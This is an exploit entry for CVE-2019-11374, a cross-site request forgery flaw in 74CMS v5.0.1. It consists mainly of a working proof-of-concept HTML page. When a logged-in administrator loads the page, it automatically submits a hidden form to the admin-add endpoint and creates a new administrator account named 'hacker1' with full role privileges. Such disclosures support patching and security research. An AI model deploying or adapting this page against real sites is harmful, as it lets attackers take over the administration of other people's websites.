# Exploit Title: 74CMS v5.0.1 has a CSRF vulnerability to add a new admin user
# Date: 2019-04-14
# Exploit Author: ax8
# Vendor Homepage: https://github.com/Li-Siyuan
# Software Link: http://www.74cms.com/download/index.html
# Version: v5.0.1
# CVE : CVE-2019-11374
74CMS v5.0.1 has a CSRF vulnerability to add a new admin user via the index.php?m=Admin&c=admin&a=add URI.
<!--poc.html(creat a administrater)-->
<!DOCTYPE html>
<html>
  <head>
  <title> CSRF Proof</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">
      <input type="hidden" name="username" value="hacker1" />
  <input type="hidden" name="email" value="111111111@qq.com" />
      <input type="hidden" name="password" value="hacker1" />
      <input type="hidden" name="repassword" value="hacker1" />
  <input type="hidden" name="role_id" value="1" />
    </form>
  </body>
</html>